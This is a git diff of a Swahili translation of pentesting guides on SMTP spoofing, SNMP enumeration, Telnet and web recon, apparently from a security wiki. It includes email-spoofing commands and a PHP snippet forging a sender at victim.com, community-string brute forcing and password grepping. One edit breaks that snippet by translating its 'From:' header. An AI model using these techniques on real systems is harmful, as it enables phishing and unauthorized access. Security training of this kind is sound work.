rua=mailto:BingEmailDMA ### **What about Subdomains?** -**From** [**here**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ +**Kutoka** [**hapa**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ Unahitaji kuwa na rekodi za SPF tofauti kwa kila subdomain unayotaka kutuma barua kutoka.\ -Ifuatayo ilichapishwa awali kwenye openspf.org, ambayo ilikuwa rasilimali nzuri kwa aina hii ya mambo. +Hii ilichapishwa awali kwenye openspf.org, ambayo ilikuwa rasilimali nzuri kwa aina hii ya mambo. -> The Demon Question: What about subdomains? +> Swali la Demon: Je, kuhusu subdomains? > -> Ikiwa napokea barua kutoka pielovers.demon.co.uk, na hakuna data ya SPF kwa pielovers, je, ni lazima nirudi ngazi moja na kujaribu SPF kwa demon.co.uk? Hapana. Kila subdomain katika Demon ni mteja tofauti, na kila mteja anaweza kuwa na sera zao. Haitawezekana kwa sera ya Demon kutumika kwa wateja wote kwa default; ikiwa Demon inataka kufanya hivyo, inaweza kuweka rekodi za SPF kwa kila subdomain. +> Ikiwa napokea barua kutoka pielovers.demon.co.uk, na hakuna data ya SPF kwa pielovers, je, ni lazima nirudi ngazi moja na kujaribu SPF kwa demon.co.uk? Hapana. Kila subdomain katika Demon ni mteja tofauti, na kila mteja anaweza kuwa na sera yake mwenyewe. Haitawezekana kwa sera ya Demon kutumika kwa wateja wote kwa default; ikiwa Demon inataka kufanya hivyo, inaweza kuweka rekodi za SPF kwa kila subdomain. > > Hivyo ushauri kwa wachapishaji wa SPF ni huu: unapaswa kuongeza rekodi ya SPF kwa kila subdomain au jina la mwenyeji ambalo lina rekodi ya A au MX. > @@ -351,9 +351,9 @@ Hii ina maana - subdomain inaweza kuwa katika eneo tofauti la kijiografia na kuw ### **Open Relay** -Wakati barua pepe zinatumwa, kuhakikisha hazitapewa alama kama spam ni muhimu. Hii mara nyingi inapatikana kupitia matumizi ya **seva ya relay ambayo inatambuliwa na mpokeaji**. Hata hivyo, changamoto ya kawaida ni kwamba wasimamizi huenda hawajui kikamilifu ni **mifumo ya IP ipi salama kuruhusu**. Ukosefu huu wa uelewa unaweza kusababisha makosa katika kuanzisha seva ya SMTP, hatari ambayo mara nyingi inatambuliwa katika tathmini za usalama. +Wakati barua pepe zinatumwa, kuhakikisha hazitapewa alama kama spam ni muhimu. Hii mara nyingi inafanikiwa kupitia matumizi ya **seva ya relay ambayo inatambulika na mpokeaji**. Hata hivyo, changamoto ya kawaida ni kwamba wasimamizi huenda hawajui kikamilifu ni **mifumo ya IP ipi ni salama kuruhusu**. Ukosefu huu wa uelewa unaweza kusababisha makosa katika kuanzisha seva ya SMTP, hatari ambayo mara nyingi inatambuliwa katika tathmini za usalama. -Njia mbadala ambayo wasimamizi wengine hutumia ili kuepuka matatizo ya usambazaji wa barua pepe, hasa kuhusu mawasiliano na wateja wanaowezekana au wanaoendelea, ni **kuruhusu muunganisho kutoka anwani yoyote ya IP**. Hii inafanywa kwa kuunda parameter ya `mynetworks` ya seva ya SMTP ili kukubali anwani zote za IP, kama inavyoonyeshwa hapa chini: +Njia mbadala ambayo wasimamizi wengine hutumia ili kuepuka matatizo ya usambazaji wa barua pepe, hasa kuhusu mawasiliano na wateja wanaoweza kuwa au wanaoendelea, ni **kuruhusu muunganisho kutoka anwani yoyote ya IP**. Hii inafanywa kwa kuunda parameter ya `mynetworks` ya seva ya SMTP ili kukubali anwani zote za IP, kama inavyoonyeshwa hapa chini: ```bash mynetworks = 0.0.0.0/0 ``` @@ -372,7 +372,7 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v - [**http://www.anonymailer.net/**](http://www.anonymailer.net) - [**https://emkei.cz/**](https://emkei.cz/) -**Au unaweza kutumia kifaa:** +**Au unaweza kutumia chombo:** - [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing) ```bash @@ -409,7 +409,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE {{#tab name="PHP"}}
# Hii itatuma ujumbe usio na sahihi
-mail("your_email@gmail.com", "Test Subject!", "hey! Hii ni jaribio", "From: administrator@victim.com");
+mail("your_email@gmail.com", "Test Subject!", "hey! Hii ni jaribio", "Kutoka: administrator@victim.com");
 
{{#endtab}} @@ -475,12 +475,12 @@ s.sendmail(sender, [destination], msg_data) ### **Maelezo zaidi** -**Pata maelezo zaidi kuhusu ulinzi huu katika** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) +**Pata maelezo zaidi kuhusu ulinzi hizi katika** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) ### **Dalili nyingine za phishing** - Umri wa domain -- Viungo vinavyoelekea kwenye anwani za IP +- Viungo vinavyoelekeza kwenye anwani za IP - Mbinu za manipulation ya viungo - Viambatisho vya kushangaza (visivyo vya kawaida) - Maudhui ya barua pepe yaliyovunjika @@ -503,7 +503,7 @@ Faili nyingine za config: sendmail.cf submit.cf ``` -## Marejeo +## Marejeleo - [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/) - [https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/) diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index 8630f98d0..e94110c42 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -11,20 +11,20 @@ PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) ``` > [!NOTE] -> SNMP pia inatumia bandari **162/UDP** kwa **traps**. Hizi ni data **pakiti zinazotumwa kutoka kwa seva ya SNMP kwenda kwa mteja bila kuombwa waziwazi**. +> SNMP pia inatumia bandari **162/UDP** kwa **traps**. Hizi ni data **pakiti zinazotumwa kutoka kwa seva ya SNMP kwenda kwa mteja bila kuombwa kwa wazi**. ### MIB -Ili kuhakikisha kuwa ufikiaji wa SNMP unafanya kazi kati ya watengenezaji na mchanganyiko tofauti wa mteja-seva, **Management Information Base (MIB)** iliundwa. MIB ni **format huru ya kuhifadhi taarifa za kifaa**. MIB ni **faili ya maandiko** ambayo vitu vyote vinavyoweza kuulizwa vya **SNMP** vya kifaa vimeorodheshwa katika **hierarchy ya miti iliyoandikwa kwa kiwango**. Inajumuisha angalau **`Object Identifier` (`OID`)**, ambayo, pamoja na **anwani ya kipekee** na **jina**, pia inatoa taarifa kuhusu aina, haki za ufikiaji, na maelezo ya kitu husika.\ +Ili kuhakikisha kuwa ufikiaji wa SNMP unafanya kazi kati ya watengenezaji na kwa mchanganyiko tofauti wa mteja-seva, **Management Information Base (MIB)** iliundwa. MIB ni **format huru ya kuhifadhi taarifa za kifaa**. MIB ni **faili ya maandiko** ambayo vitu vyote vinavyoweza kuulizwa vya **SNMP** vya kifaa vimeorodheshwa katika **hierarchi ya miti iliyoandikwa kwa kiwango**. Inajumuisha angalau **`Object Identifier` (`OID`)**, ambayo, pamoja na **anwani ya kipekee** na **jina**, pia inatoa taarifa kuhusu aina, haki za ufikiaji, na maelezo ya kitu husika.\ Mifano ya MIB imeandikwa katika format ya maandiko ya ASCII ya `Abstract Syntax Notation One` (`ASN.1`). **MIBs hazina data**, lakini zinaelezea **wapi kupatikana taarifa gani** na inavyoonekana, ambayo inarudisha thamani kwa OID maalum, au ni aina gani ya data inayotumika. ### OIDs -**Object Identifiers (OIDs)** zina jukumu muhimu. Vitambulisho hivi vya kipekee vimeundwa ili kudhibiti vitu ndani ya **Management Information Base (MIB)**. +**Object Identifiers (OIDs)** zina jukumu muhimu. Vitambulisho hivi vya kipekee vimeundwa ili kusimamia vitu ndani ya **Management Information Base (MIB)**. -Viwango vya juu vya vitambulisho vya MIB, au OIDs, vimepewa mashirika mbalimbali yanayoweka viwango. Ni ndani ya viwango hivi vya juu ambapo mfumo wa mazoea na viwango vya usimamizi wa kimataifa umeanzishwa. +Viwango vya juu zaidi vya vitambulisho vya MIB, au OIDs, vimepewa mashirika mbalimbali yanayoweka viwango. Ni ndani ya viwango hivi vya juu ambapo mfumo wa mazoea na viwango vya usimamizi wa kimataifa umeanzishwa. -Zaidi ya hayo, wauzaji wanapewa uhuru wa kuanzisha matawi ya kibinafsi. Ndani ya matawi haya, wana **uhuru wa kujumuisha vitu vilivyodhibitiwa vinavyohusiana na mistari yao ya bidhaa**. Mfumo huu unahakikisha kuwa kuna njia iliyopangwa na iliyoandaliwa ya kutambua na kusimamia anuwai ya vitu kati ya wauzaji na viwango tofauti. +Zaidi ya hayo, wauzaji wanapewa uhuru wa kuanzisha matawi ya kibinafsi. Ndani ya matawi haya, wana **uhuru wa kujumuisha vitu vilivyo na usimamizi vinavyohusiana na mistari yao ya bidhaa**. Mfumo huu unahakikisha kuwa kuna njia iliyopangwa na iliyoandaliwa ya kutambua na kusimamia anuwai ya vitu kati ya wauzaji na viwango tofauti. ![](<../../images/SNMP_OID_MIB_Tree (1).png>) @@ -69,7 +69,7 @@ Thamani zilizobaki zinatoa taarifa maalum kuhusu kifaa. Kuna toleo 2 muhimu za SNMP: - **SNMPv1**: Kuu, bado ni ya kawaida zaidi, **uthibitishaji unategemea mfuatano** (community string) unaosafiri kwa **maandishi wazi** (maelezo yote yanatembea kwa maandiko wazi). **Toleo 2 na 2c** pia hutuma **trafiki kwa maandiko wazi** na hutumia **mfuatano wa jamii kama uthibitishaji**. -- **SNMPv3**: Inatumia aina bora ya **uthibitishaji** na taarifa inasafiri **imefichwa** (ushambuliaji wa **dictionary** unaweza kufanywa lakini itakuwa ngumu zaidi kupata akidi sahihi kuliko katika SNMPv1 na v2). +- **SNMPv3**: Inatumia aina bora ya **uthibitishaji** na taarifa inasafiri **imefichwa** (attack ya kamusi inaweza kufanywa lakini itakuwa ngumu zaidi kupata creds sahihi kuliko katika SNMPv1 na v2). ### Community Strings @@ -98,7 +98,7 @@ Ili **kukisia mfuatano wa jamii** unaweza kufanya shambulio la kamusi. Angalia [ ## Enumerating SNMP -Inashauriwa kufunga yafuatayo ili kuona maana ya **kila OID iliyokusanywa** kutoka kwa kifaa: +Inapendekezwa kufunga yafuatayo ili kuona maana ya **kila OID iliyokusanywa** kutoka kwa kifaa: ```bash apt-get install snmp-mibs-downloader download-mibs @@ -121,7 +121,7 @@ nmap --script "snmp* and not snmp-brute" braa @:.1.3.6.* #Bruteforce specific OID ``` -Shukrani kwa maswali ya kupanuliwa (download-mibs), inawezekana kuorodhesha zaidi kuhusu mfumo kwa kutumia amri ifuatayo: +Shukrani kwa maswali yaliyopanuliwa (download-mibs), inawezekana kuorodhesha zaidi kuhusu mfumo kwa kutumia amri ifuatayo: ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` @@ -135,22 +135,22 @@ Katika eneo la usimamizi wa mtandao, mipangilio na vigezo fulani ni muhimu kuhak ### Mipangilio ya Ufikiaji -Mipangilio miwili kuu inaruhusu ufikiaji wa **mti mzima wa OID**, ambao ni kipengele muhimu katika usimamizi wa mtandao: +Mipangilio miwili kuu inaruhusu ufikiaji wa **mti mzima wa OID**, ambao ni sehemu muhimu katika usimamizi wa mtandao: 1. **`rwuser noauth`** imewekwa kuruhusu ufikiaji kamili wa mti wa OID bila haja ya uthibitisho. Mipangilio hii ni rahisi na inaruhusu ufikiaji usio na vizuizi. 2. Kwa udhibiti maalum zaidi, ufikiaji unaweza kutolewa kwa kutumia: - **`rwcommunity`** kwa anwani za **IPv4**, na - **`rwcommunity6`** kwa anwani za **IPv6**. -Amri zote zinahitaji **nywila ya jamii** na anwani husika ya IP, zikitoa ufikiaji kamili bila kujali asili ya ombi. +Amri zote zinahitaji **nywila ya jamii** na anwani husika ya IP, zikitoa ufikiaji kamili bila kujali chanzo cha ombi. ### Vigezo vya SNMP kwa Microsoft Windows -Mfululizo wa **Thamani za Msingi wa Usimamizi (MIB)** hutumiwa kufuatilia vipengele mbalimbali vya mfumo wa Windows kupitia SNMP: +Mfululizo wa **Thamani za Msingi wa Taarifa za Usimamizi (MIB)** hutumiwa kufuatilia vipengele mbalimbali vya mfumo wa Windows kupitia SNMP: - **Mchakato wa Mfumo**: Inapatikana kupitia `1.3.6.1.2.1.25.1.6.0`, vigezo hivi vinaruhusu ufuatiliaji wa michakato hai ndani ya mfumo. - **Programu Zinazoendesha**: Thamani ya `1.3.6.1.2.1.25.4.2.1.2` imetengwa kwa ajili ya kufuatilia programu zinazotembea kwa sasa. -- **Njia za Michakato**: Ili kubaini mahali mchakato unapotokea, thamani ya `1.3.6.1.2.1.25.4.2.1.4` ya MIB inatumika. +- **Njia za Michakato**: Ili kubaini mahali mchakato unapoendesha, thamani ya `1.3.6.1.2.1.25.4.2.1.4` ya MIB inatumika. - **Vitengo vya Hifadhi**: Ufuatiliaji wa vitengo vya hifadhi unarahisishwa na `1.3.6.1.2.1.25.2.3.1.4`. - **Jina la Programu**: Ili kubaini programu iliyosanikishwa kwenye mfumo, `1.3.6.1.2.1.25.6.3.1.2` inatumika. - **Akaunti za Watumiaji**: Thamani ya `1.3.6.1.4.1.77.1.2.25` inaruhusu ufuatiliaji wa akaunti za watumiaji. @@ -176,7 +176,7 @@ snmp-rce.md [Braa](https://github.com/mteg/braa) ni skana kubwa ya SNMP. Matumizi yaliyokusudiwa ya zana kama hii ni, bila shaka, kufanya maswali ya SNMP – lakini tofauti na snmpwalk kutoka net-snmp, ina uwezo wa kuuliza majeshi makumi au mamia kwa wakati mmoja, na katika mchakato mmoja. Hivyo, inatumia rasilimali chache za mfumo na inafanya ufuatiliaji HARAKA SANA. -Braa inatekeleza stack yake ya snmp, hivyo haitaji maktaba yoyote ya SNMP kama net-snmp. +Braa inatekeleza stack yake ya snmp, hivyo HAITAJI maktaba yoyote ya SNMP kama net-snmp. **Syntax:** braa \[Community-string]@\[IP ya server ya SNMP]:\[iso id] ```bash @@ -194,13 +194,13 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` ### **Tambua Mfuatano wa Kibinafsi** -Hatua muhimu inahusisha kutambua **mfuatano wa jamii ya kibinafsi** unaotumiwa na mashirika, hasa kwenye router za Cisco IOS. Mfuatano huu unaruhusu kutoa **mipangilio inayoendelea** kutoka kwa router. Utambuzi mara nyingi unategemea kuchambua data za SNMP Trap kwa neno "trap" kwa kutumia **amri ya grep**: +Hatua muhimu inahusisha kutambua **mfuatano wa jamii ya kibinafsi** unaotumiwa na mashirika, hasa kwenye router za Cisco IOS. Mfuatano huu unaruhusu kutoa **mipangilio inayoendelea** kutoka kwa router. Utambuzi mara nyingi unategemea kuchambua data ya SNMP Trap kwa neno "trap" kwa kutumia **amri ya grep**: ```bash grep -i "trap" *.snmp ``` ### **Majina ya Watumiaji/Maneno ya Siri** -Makaratasi yaliyohifadhiwa ndani ya MIB yanachunguzwa kwa **jaribio la kuingia lililoshindwa**, ambalo linaweza kwa bahati mbaya kujumuisha maneno ya siri yaliyoingizwa kama majina ya watumiaji. Maneno muhimu kama _fail_, _failed_, au _login_ yanatafutwa ili kupata data muhimu: +Makaratasi yaliyohifadhiwa ndani ya MIB yanachunguzwa kwa **jaribio la kuingia lililoshindwa**, ambalo linaweza kwa bahati mbaya kujumuisha maneno ya siri yaliyoingizwa kama majina ya watumiaji. Neno muhimu kama _fail_, _failed_, au _login_ linatafutwa ili kupata data muhimu: ```bash grep -i "login\|fail" *.snmp ``` diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md index de98179d1..73d186365 100644 --- a/src/network-services-pentesting/pentesting-telnet.md +++ b/src/network-services-pentesting/pentesting-telnet.md @@ -7,7 +7,7 @@ Telnet ni protokali ya mtandao inayowapa watumiaji njia isiyo salama ya kufikia kompyuta kupitia mtandao. -**Bandari ya kawaida:** 23 +**Bandari ya Kawaida:** 23 ``` 23/tcp open telnet ``` @@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 ``` The script `telnet-ntlm-info.nse` itapata taarifa za NTLM (matoleo ya Windows). -Kutoka kwenye [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Katika Protokali ya TELNET kuna "**chaguzi**" mbalimbali ambazo zitaidhinishwa na zinaweza kutumika pamoja na muundo wa "**FANYA, USIFANYE, ITAFANYIKA, HAITAFANYIKA**" ili kumruhusu mtumiaji na seva kukubaliana kutumia seti ya makubaliano ya kina (au labda tofauti tu) kwa ajili ya muunganisho wao wa TELNET. Chaguzi hizo zinaweza kujumuisha kubadilisha seti ya wahusika, hali ya echo, n.k. +From the [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Katika Protokali ya TELNET kuna "**options**" mbalimbali ambazo zitakubaliwa na zinaweza kutumika na muundo wa "**DO, DON'T, WILL, WON'T**" ili kumruhusu mtumiaji na seva kukubaliana kutumia seti ya makubaliano ya kina (au labda tofauti tu) kwa ajili ya muunganisho wao wa TELNET. Chaguzi hizo zinaweza kujumuisha kubadilisha seti ya wahusika, hali ya echo, n.k. **Ninajua inawezekana kuhesabu chaguzi hizi lakini sijui jinsi, hivyo nijulishe kama unajua jinsi.** diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index d20624f35..a5dca6cfb 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -4,9 +4,9 @@ ## Basic Info -Huduma ya wavuti ni huduma **ya kawaida na pana zaidi** na aina nyingi za **vulnerabilities tofauti** zipo. +Huduma ya wavuti ni huduma **ya kawaida na pana zaidi** na aina nyingi **za tofauti za udhaifu** zipo. -**Port ya default:** 80 (HTTP), 443(HTTPS) +**Bandari ya kawaida:** 80 (HTTP), 443(HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -17,37 +17,37 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Mwongozo wa Web API +### Web API Guidance {{#ref}} web-api-pentesting.md {{#endref}} -## Muhtasari wa Mbinu +## Methodology summary > Katika mbinu hii tunaenda kudhani kwamba unataka kushambulia kikoa (au subdomain) na tu hicho. Hivyo, unapaswa kutumia mbinu hii kwa kila kikoa, subdomain au IP iliyogunduliwa yenye seva ya wavuti isiyojulikana ndani ya upeo. - [ ] Anza kwa **kutambua** **teknolojia** zinazotumiwa na seva ya wavuti. Tafuta **hila** za kukumbuka wakati wa mtihani mzima ikiwa utaweza kutambua teknolojia hiyo kwa mafanikio. - [ ] Je, kuna **udhaifu** wowote unaojulikana wa toleo la teknolojia hiyo? - [ ] Unatumia **teknolojia maarufu** yoyote? Je, kuna **hila** yoyote ya manufaa ya kupata taarifa zaidi? -- [ ] Je, kuna **scanner maalum** ya kukimbia (kama wpscan)? -- [ ] Anzisha **scanners za matumizi ya jumla**. Hujui kama wataweza kupata kitu au kama wataweza kupata taarifa za kuvutia. -- [ ] Anza na **ukaguzi wa awali**: **robots**, **sitemap**, **404** kosa na **SSL/TLS skana** (ikiwa HTTPS). +- [ ] Je, kuna **scanner maalum** yoyote ya kukimbia (kama wpscan)? +- [ ] Uzindua **scanners za matumizi ya jumla**. Hujui kama wataweza kupata kitu au kama wataweza kupata taarifa za kuvutia. +- [ ] Anza na **ukaguzi wa awali**: **robots**, **sitemap**, **404** kosa na **SSL/TLS scan** (ikiwa HTTPS). - [ ] Anza **kupeleleza** ukurasa wa wavuti: Ni wakati wa **kupata** faili, folda na **parameta** zote zinazotumika. Pia, angalia kwa **matokeo maalum**. - [ ] _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au kupeleleza, inapaswa kupelelezwa._ -- [ ] **Brute-Forcing ya Directory**: Jaribu kufanya brute force kwa folda zote zilizogunduliwa kutafuta **faili** na **directories** mpya. +- [ ] **Directory Brute-Forcing**: Jaribu kufanya brute force kwa folda zote zilizogunduliwa kutafuta **faili** na **directories** mpya. - [ ] _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au kupeleleza, inapaswa kufanywa Brute-Forced._ -- [ ] **Ukaguzi wa Nakala za Hifadhi**: Jaribu kuona kama unaweza kupata **nakala za hifadhi** za **faili zilizogunduliwa** ukiongeza nyongeza za kawaida za nakala za hifadhi. -- [ ] **Brute-Force parameta**: Jaribu **kupata parameta zilizofichwa**. +- [ ] **Kuangalia nakala za akiba**: Jaribu kuona kama unaweza kupata **nakala za akiba** za **faili zilizogunduliwa** ukiongeza nyongeza za kawaida za akiba. +- [ ] **Brute-Force parameters**: Jaribu **kupata parameta zilizofichwa**. - [ ] Mara tu unapokuwa umeshawishi **kila mwisho** unaokubali **ingizo la mtumiaji**, angalia aina zote za **udhaifu** zinazohusiana na hiyo. - [ ] [Fuata orodha hii ya ukaguzi](../../pentesting-web/web-vulnerabilities-methodology.md) -## Toleo la Seva (Lina Udhihirisho?) +## Server Version (Vulnerable?) -### Tambua +### Identify Angalia kama kuna **udhaifu unaojulikana** kwa **toleo** la seva inayotumika.\ -**Vichwa vya HTTP na vidakuzi vya jibu** vinaweza kuwa na manufaa sana katika **kutambua** **teknolojia** na/au **toleo** linalotumika. **Nmap scan** inaweza kutambua toleo la seva, lakini pia inaweza kuwa na manufaa kutumia zana [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)au [**https://builtwith.com/**](https://builtwith.com)**:** +**HTTP headers na cookies za jibu** zinaweza kuwa na manufaa sana katika **kutambua** **teknolojia** na/au **toleo** linalotumika. **Nmap scan** inaweza kutambua toleo la seva, lakini inaweza pia kuwa na manufaa kutumia zana [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)au [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive @@ -103,10 +103,10 @@ Ikiwa programu ya wavuti inatumia **tech/platform** maarufu zilizoorodheshwa hap ### Source Code Review -Ikiwa **source code** ya programu inapatikana katika **github**, mbali na kufanya **White box test** ya programu hiyo, kuna **maelezo** ambayo yanaweza kuwa **muhimu** kwa **Black-Box testing** ya sasa: +Ikiwa **source code** ya programu inapatikana katika **github**, mbali na kufanya **mtihani wa White box** wa programu hiyo kuna **maelezo** ambayo yanaweza kuwa **muhimu** kwa **Black-Box testing** ya sasa: - Je, kuna **Change-log au Readme au Version** file au chochote chenye **version info accessible** kupitia wavuti? -- Je, **credentials** zimehifadhiwaje na wapi? Je, kuna **file** (inayopatikana?) yenye credentials (majina ya watumiaji au nywila)? +- Je, **credentials** zimehifadhiwaje na wapi? Je, kuna **file** yoyote (inayopatikana?) yenye credentials (majina ya watumiaji au nywila)? - Je, **passwords** ziko katika **plain text**, **encrypted** au ni **hashing algorithm** gani inatumika? - Je, inatumia **master key** yoyote kwa ajili ya kuandika kitu? Ni **algorithm** gani inatumika? - Je, unaweza **kufikia yoyote ya hizi files** kwa kutumia udhaifu wowote? @@ -149,7 +149,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs ## Ugunduzi wa Programu za Wavuti Hatua kwa Hatua -> Kuanzia hapa tutaanza kuingiliana na programu ya wavuti. +> Kutoka hapa tunaanza kuingiliana na programu ya wavuti. ### Ukaguzi wa Awali @@ -160,7 +160,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- Angalia pia maoni katika kurasa kuu na za pili. +- Angalia pia maoni katika kurasa kuu na za sekondari. **Kusababisha makosa** @@ -173,10 +173,10 @@ Seva za wavuti zinaweza **kufanya kazi kwa njia isiyo ya kawaida** wakati data z #### **Angalia kama unaweza kupakia faili (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -Ikiwa unapata kuwa **WebDav** ime **wezeshwa** lakini huna ruhusa ya kutosha kwa **kupakia faili** kwenye folda ya mzizi jaribu: +Ikiwa unapata kuwa **WebDav** ime **wezeshwa** lakini huna ruhusa ya kutosha kwa **kupakia faili** katika folda ya mzizi jaribu: - **Brute Force** akidi -- **Pakia faili** kupitia WebDav kwenye **sehemu** nyingine za **folda zilizopatikana** ndani ya ukurasa wa wavuti. Unaweza kuwa na ruhusa za kupakia faili katika folda nyingine. +- **Pakia faili** kupitia WebDav kwa **sehemu** za **folda zilizopatikana** ndani ya ukurasa wa wavuti. Unaweza kuwa na ruhusa za kupakia faili katika folda nyingine. ### **Vulnerabilities za SSL/TLS** @@ -199,33 +199,33 @@ Habari kuhusu SSL/TLS udhaifu: ### Spidering -Zindua aina fulani ya **spider** ndani ya wavuti. Lengo la spider ni **kupata njia nyingi kadri iwezekanavyo** kutoka kwa programu iliyojaribiwa. Hivyo, kuvinjari wavuti na vyanzo vya nje vinapaswa kutumika ili kupata njia halali nyingi kadri iwezekanavyo. +Zindua aina fulani ya **spider** ndani ya wavuti. Lengo la spider ni **kupata njia nyingi kadri iwezekanavyo** kutoka kwa programu iliyojaribiwa. Kwa hivyo, kuvinjari wavuti na vyanzo vya nje vinapaswa kutumika ili kupata njia halali nyingi kadri iwezekanavyo. - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder katika faili za JS na vyanzo vya nje (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, na LinkFider kwa faili za JS na Archive.org kama chanzo cha nje. -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, pia inaonyesha "faili za kuvutia". +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, pia inaonyesha "faili za juisi". - [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Pia inatafuta katika Archive.org - [**meg**](https://github.com/tomnomnom/meg) (go): Chombo hiki si spider lakini kinaweza kuwa na manufaa. Unaweza tu kuashiria faili yenye mwenyeji na faili yenye njia na meg itachukua kila njia kwenye kila mwenyeji na kuhifadhi jibu. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider yenye uwezo wa kuunda JS. Hata hivyo, inaonekana kama haijatunzwa, toleo lililotengenezwa awali ni la zamani na msimbo wa sasa haujajitengeneza. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider yenye uwezo wa kutafsiri JS. Hata hivyo, inaonekana kama haijatunzwa, toleo lililotengenezwa awali ni la zamani na msimbo wa sasa haujajitengeneza. - [**gau**](https://github.com/lc/gau) (go): HTML spider inayotumia watoa huduma wa nje (wayback, otx, commoncrawl) -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hii ni script itakayopata URLs zenye parameta na kuziorodhesha. -- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider yenye uwezo wa kuunda JS. +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hii ni script itakayopata URLs zenye parameter na kuziorodhesha. +- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider yenye uwezo wa kutafsiri JS. - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, yenye uwezo wa kuboresha JS inayoweza kutafuta njia mpya katika faili za JS. Inaweza kuwa na manufaa pia kuangalia [JSScanner](https://github.com/dark-warlord14/JSScanner), ambayo ni wrapper ya LinkFinder. - [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Kutolewa kwa mwisho katika chanzo cha HTML na faili za javascript zilizojumuishwa. Inafaida kwa wawindaji wa makosa, timu nyekundu, na infosec ninjas. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Script ya python 2.7 inayotumia Tornado na JSBeautifier kuchambua URLs zinazohusiana kutoka kwa faili za JavaScript. Inafaida kwa kugundua maombi ya AJAX kwa urahisi. Inaonekana kama haijatunzwa. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Iwapo kuna faili (HTML) itatoa URLs kutoka kwake kwa kutumia kanuni nzuri za kawaida ili kupata na kutoa URLs zinazohusiana kutoka kwa faili mbaya (minify). +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Script ya python 2.7 inayotumia Tornado na JSBeautifier kutafsiri URLs zinazohusiana kutoka kwa faili za JavaScript. Inafaida kwa kugundua maombi ya AJAX kwa urahisi. Inaonekana kama haijatunzwa. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Iwapo kuna faili (HTML) itatoa URLs kutoka kwake kwa kutumia kanuni nzuri za kawaida kutafuta na kutoa URLs zinazohusiana kutoka kwa faili mbaya (minify). - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, zana kadhaa): Kusanya habari za kuvutia kutoka kwa faili za JS kwa kutumia zana kadhaa. - [**subjs**](https://github.com/lc/subjs) (go): Pata faili za JS. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Pata ukurasa katika kivinjari kisichokuwa na kichwa na uchapishe URLs zote zilizopakiwa ili kupakia ukurasa. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Pakia ukurasa katika kivinjari kisichokuwa na kichwa na uchapishe URLs zote zilizopakiwa ili kupakia ukurasa. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Chombo cha kugundua maudhui kinachochanganya chaguzi kadhaa za zana zilizotangulia. -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Kiendelezi cha Burp kutafuta njia na parameta katika faili za JS. -- 